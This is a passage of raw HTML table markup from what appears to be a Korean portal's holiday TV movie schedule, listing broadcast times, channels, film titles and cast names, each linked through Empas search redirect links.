<TD width=196><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:23:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B1%E8%BC%F6%B9%CC&amp;nq=2"><FONT size=2>김수미</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:24:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%D3%C3%A4%B9%AB&amp;nq=2"><FONT size=2>임채무</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:25:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%AF%C1%F8&amp;nq=2"><FONT size=2>유진</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=113><FONT size=2>오후 10시 40분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:26:010100:1BB76BA06::t/*http://www.ebs.co.kr" target=_blank><FONT size=2>EBS</FONT></A><FONT size=2> </FONT>
<TD width=223><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:27:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%C6%E4%C0%CE%C6%BC%B5%E5+%BA%A3%C0%CF&amp;a=w&amp;s=&amp;f=&amp;nq=2"><FONT size=2>페인티드 베일</FONT></A><FONT size=2> </FONT>
<TD width=196><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:28:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B3%AA%BF%C0%B9%CC+%BF%D3%C3%F7&amp;nq=2"><FONT size=2>나오미 왓츠</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:29:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BF%A1%B5%E5%BF%F6%B5%E5+%B3%EB%C6%B0&amp;nq=2"><FONT size=2>에드워드 노튼</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=113><FONT size=2>오후 10시 55분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:2A:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=223><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:2B:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%B9%E8%C6%AE%B8%C7+%BA%F1%B1%E4%C1%EE&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>배트맨 비긴즈</FONT></A><FONT size=2> </FONT>
<TD width=196><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:2C:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C5%A9%B8%AE%BD%BA%C2%F9+%BA%A3%C0%CF&amp;nq=2"><FONT size=2>크리스찬 베일</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:2D:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B8%B6%C0%CC%C5%AC+%C4%C9%C0%CE&amp;nq=2"><FONT size=2>마이클 케인</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=113><FONT size=2>오후 11시 05분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:2E:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS2TV</FONT></A><FONT size=2> </FONT>
<TD width=223><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:2F:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%B5%BF%B0%A9%B3%BB%B1%E2+%B0%FA%BF%DC%C7%CF%B1%E2+%B7%B9%BD%BC+2&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>동갑내기 과외하기 레슨 2</FONT></A><FONT size=2> </FONT>
<TD width=196><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:30:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%CC%C3%BB%BE%C6&amp;nq=2"><FONT size=2>이청아</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:31:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B9%DA%B1%E2%BF%F5&amp;nq=2"><FONT size=2>박기웅</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:32:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%CC%BF%B5%C7%CF&amp;nq=2"><FONT size=2>이영하</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=113><FONT size=2>밤 12시 15분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:33:010100:1BB76BA06::t/*http://www.imbc.com" target=_blank><FONT size=2>MBC</FONT></A><FONT size=2> </FONT>
<TD width=223><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:34:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%C8%B2%C8%C4+%C8%AD&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>황후 화</FONT></A><FONT size=2> </FONT>
<TD width=196><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:35:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C1%D6%C0%B1%B9%DF&amp;nq=2"><FONT size=2>주윤발</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:36:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B0%F8%B8%AE&amp;nq=2"><FONT size=2>공리</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:37:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C1%D6%B0%C9%B7%FB&amp;nq=2"><FONT size=2>주걸륜</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=113><FONT size=2>밤 12시 25분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:38:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS1TV</FONT></A><FONT size=2> </FONT>
<TD width=223><FONT size=2>독립영화 </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:39:010100:1BB76BA06::t/*http://office.kbs.co.kr/cyberpr/7349" target=_blank><FONT size=2>비만가족 외 3편</FONT></A><FONT size=2> </FONT>
<TD width=196><FONT size=2>한경희, 곽병규, 엄보용 </FONT>
<TR class=bbdr>
<TD width=113><FONT size=2>오전 01시 25분 </FONT>
<TD width=51><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:3A:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=223><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:3B:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%BE%DF%BC%F6%BF%CD+%B9%CC%B3%E0&amp;a=w&amp;s=&amp;f=&amp;nq=2"><FONT size=2>야수와 미녀</FONT></A><FONT size=2> </FONT>
<TD width=196><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:3C:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B7%F9%BD%C2%B9%FC&amp;nq=2"><FONT size=2>류승범</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:3D:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BD%C5%B9%CE%BE%C6&amp;nq=2"><FONT size=2>신민아</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:3E:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B1%E8%B0%AD%BF%EC&amp;nq=2"><FONT size=2>김강우</FONT></A><FONT size=2> </FONT></TD></TR></TBODY></TABLE>
<P><FONT size=2>7일 </FONT>
<TABLE width=597>
<TBODY>
<TR class=bbdr>
<TD width=107><FONT size=2>오전 10시 30분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:3F:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:40:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%BA%B9%B8%E9%B4%DE%C8%A3&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>복면달호</FONT></A><FONT size=2> </FONT>
<TD width=190><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:41:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C2%F7%C5%C2%C7%F6&amp;nq=2"><FONT size=2>차태현</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:42:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%D3%C3%A4%B9%AB&amp;nq=2"><FONT size=2>임채무</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:43:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%CC%BC%D2%BF%AC&amp;nq=2"><FONT size=2>이소연</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 03시 25분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:44:010100:1BB76BA06::t/*http://www.imbc.com" target=_blank><FONT size=2>MBC</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:45:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+DOA&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>DOA</FONT></A><FONT size=2> </FONT>
<TD width=190><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:46:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B5%A5%BA%BB+%BE%C6%BF%C0%C5%B0&amp;nq=2"><FONT size=2>데본 아오키</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:47:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C1%A6%C0%CC%B9%CC+%C7%C1%B7%B9%BD%BD%B8%AE&amp;nq=2"><FONT size=2>제이미 프레슬리</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 03시 30분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:48:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS1TV</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:49:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%BF%C0%C7%C1%BB%E7%C0%CC%B5%E5&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;x=32&amp;y=7&amp;nq=2"><FONT size=2>오프사이드</FONT></A><FONT size=2> </FONT>
<TD width=190><FONT size=2>시마 모바락 샤히, 사예스테 이라니 </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 09시 35분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:4A:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:4B:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%B9%CC%B3%E0%B4%C2+%B1%AB%B7%CE%BF%F6&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>미녀는 괴로워</FONT></A><FONT size=2> </FONT>
<TD width=190><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:4C:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C1%D6%C1%F8%B8%F0&amp;nq=2"><FONT size=2>주진모</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:4D:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B1%E8%BE%C6%C1%DF&amp;nq=2"><FONT size=2>김아중</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:4E:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BC%BA%B5%BF%C0%CF&amp;nq=2"><FONT size=2>성동일</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 10시 40분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:4F:010100:1BB76BA06::t/*http://www.ebs.co.kr" target=_blank><FONT size=2>EBS</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:50:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%C0%CE%BE%EE%B0%F8%C1%D6&amp;a=w&amp;s=&amp;f=&amp;nq=2"><FONT size=2>인어공주</FONT></A><FONT size=2> </FONT>
<TD width=190><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:51:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%FC%B5%B5%BF%AC&amp;nq=2"><FONT size=2>전도연</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:52:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B9%DA%C7%D8%C0%CF&amp;nq=2"><FONT size=2>박해일</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:53:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B0%ED%B5%CE%BD%C9&amp;nq=2"><FONT size=2>고두심</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>밤 12시 10분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:54:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS2TV</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:55:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%B0%A1%C1%B7%C0%C7+%C5%BA%BB%FD&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>가족의 탄생</FONT></A><FONT size=2> </FONT>
<TD width=190><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:56:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B9%AE%BC%D2%B8%AE&amp;nq=2"><FONT size=2>주소리</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:57:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BE%F6%C5%C2%BF%F5&amp;nq=2"><FONT size=2>엄태웅</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:58:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B0%ED%B5%CE%BD%C9&amp;nq=2"><FONT size=2>고두심</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>밤 12시 20분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:59:010100:1BB76BA06::t/*http://www.imbc.com" target=_blank><FONT size=2>MBC</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:5A:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BA%BB%BE%C6%C0%CC%B5%A7%C6%BC%C6%BC&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>본 아이덴티티</FONT></A><FONT size=2> </FONT>
<TD width=190><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:5B:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B8%CB+%B5%A5%C0%CC%B8%D5&amp;nq=2"><FONT size=2>맷 데이먼</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:5C:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C7%C1%B6%F5%C4%AB+%C6%F7%C5%D9%C5%D7&amp;nq=2"><FONT size=2>프란카 포텐테</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오전 01시 00분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:5D:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS1TV</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:5E:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%B1%A6%C2%FA%BE%C6%2C+%BF%EF%C1%F6%B8%B6&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>괜찮아, 울지마</FONT></A><FONT size=2> </FONT>
<TD width=190><FONT size=2>무하마드 라히모프, 디아지 라흐마토프 </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오전 01시 05분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:5F:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:60:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BE%DF%BF%AC&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>야연</FONT></A><FONT size=2> </FONT>
<TD width=190><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:61:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%E5%C2%EA%C0%CC&amp;nq=2"><FONT size=2>장쯔이</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:62:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B4%D9%B4%CF%BF%A4+%BF%EC&amp;nq=2"><FONT size=2>다니엘 우</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:63:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%AF+%B0%D4&amp;nq=2"><FONT size=2>유 게</FONT></A><FONT size=2> </FONT></TD></TR></TBODY></TABLE>
<P><FONT size=2>8일 </FONT>
<TABLE width=596>
<TBODY>
<TR class=bbdr>
<TD width=107><FONT size=2>오전 10시 30분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:64:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:65:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%EC%C1%D6%C0%FC%C0%EF&amp;a=w&amp;s=&amp;f=&amp;nq=2"><FONT size=2>우주전쟁</FONT></A><FONT size=2> </FONT>
<TD width=189><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:66:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C5%E8+%C5%A9%B7%E7%C1%EE&amp;nq=2"><FONT size=2>톰 크루즈</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:67:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B4%D9%C4%DA%C5%B8+%C6%D0%B4%D7&amp;nq=2"><FONT size=2>다코타 패닝</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:68:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%FA%BD%BA%C6%BE+%C3%A4%C6%AE%C0%A9&amp;nq=2"><FONT size=2>저스틴 채트윈</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오전 10시 40분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:69:010100:1BB76BA06::t/*http://www.kbs.co.kr" target=_blank><FONT size=2>KBS2TV</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:6A:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%B1%AB%B9%B0&amp;a=w&amp;s=&amp;f=&amp;nq=2"><FONT size=2>괴물</FONT></A><FONT size=2> </FONT>
<TD width=189><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:6B:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BC%DB%B0%AD%C8%A3&amp;nq=2"><FONT size=2>송강호</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:6C:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%BA%AF%C8%F1%BA%C0&amp;nq=2"><FONT size=2>변희봉</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:6D:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B9%DA%C7%D8%C0%CF&amp;nq=2"><FONT size=2>박해일</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 09시 30분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:6E:010100:1BB76BA06::t/*http://www.sbs.co.kr" target=_blank><FONT size=2>SBS</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:6F:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%C7%D8%B8%AE%C6%F7%C5%CD%BF%CD+%BA%D2%C0%C7+%C0%DC&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>해리포터와 불의 잔</FONT></A><FONT size=2> </FONT>
<TD width=189><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:70:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B4%D9%B4%CF%BF%A4+%B7%A1%B5%E5%C5%AC%B8%AE%C7%C1&amp;nq=2"><FONT size=2>다니엘 래드클리프</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:71:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B7%E7%C6%DB%C6%AE+%B1%D7%B8%B0%C6%AE&amp;nq=2"><FONT size=2>루퍼트 그린트</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 09시 30분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:72:010100:1BB76BA06::t/*http://www.imbc.com" target=_blank><FONT size=2>MBC</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:73:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%BB%F3%BB%E7%BA%CE+%C0%CF%C3%BC&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>상사부 일체</FONT></A><FONT size=2> </FONT>
<TD width=189><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:74:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%C0%CC%BC%BA%C0%E7&amp;nq=2"><FONT size=2>이성재</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:75:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B1%E8%BC%BA%B9%CE&amp;nq=2"><FONT size=2>김성민</FONT></A><FONT size=2>, </FONT><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:76:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?q=%B9%DA%BB%F3%B8%E9&amp;nq=2"><FONT size=2>박상면</FONT></A><FONT size=2> </FONT>
<TR class=bbdr>
<TD width=107><FONT size=2>오후 10시 40분 </FONT>
<TD width=57><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:77:010100:1BB76BA06::t/*http://www.ebs.co.kr" target=_blank><FONT size=2>EBS</FONT></A><FONT size=2> </FONT>
<TD width=225><A href="http://rd.empas.com/r.tsp/%BC%B3%BF%AC%C8%DE+%BF%B5%C8%AD/E6:78:010100:1BB76BA06::t/*http://search.empas.com/search/all.html?z=A&amp;q=%BF%B5%C8%AD+%B4%F1+%BE%C5+%C0%AF+%B5%CE&amp;qn=&amp;s=&amp;f=&amp;bd=&amp;bw=&amp;tq=&amp;nq=2"><FONT size=2>댓 씽 유 두</FONT></A><FONT size=2> </FONT>
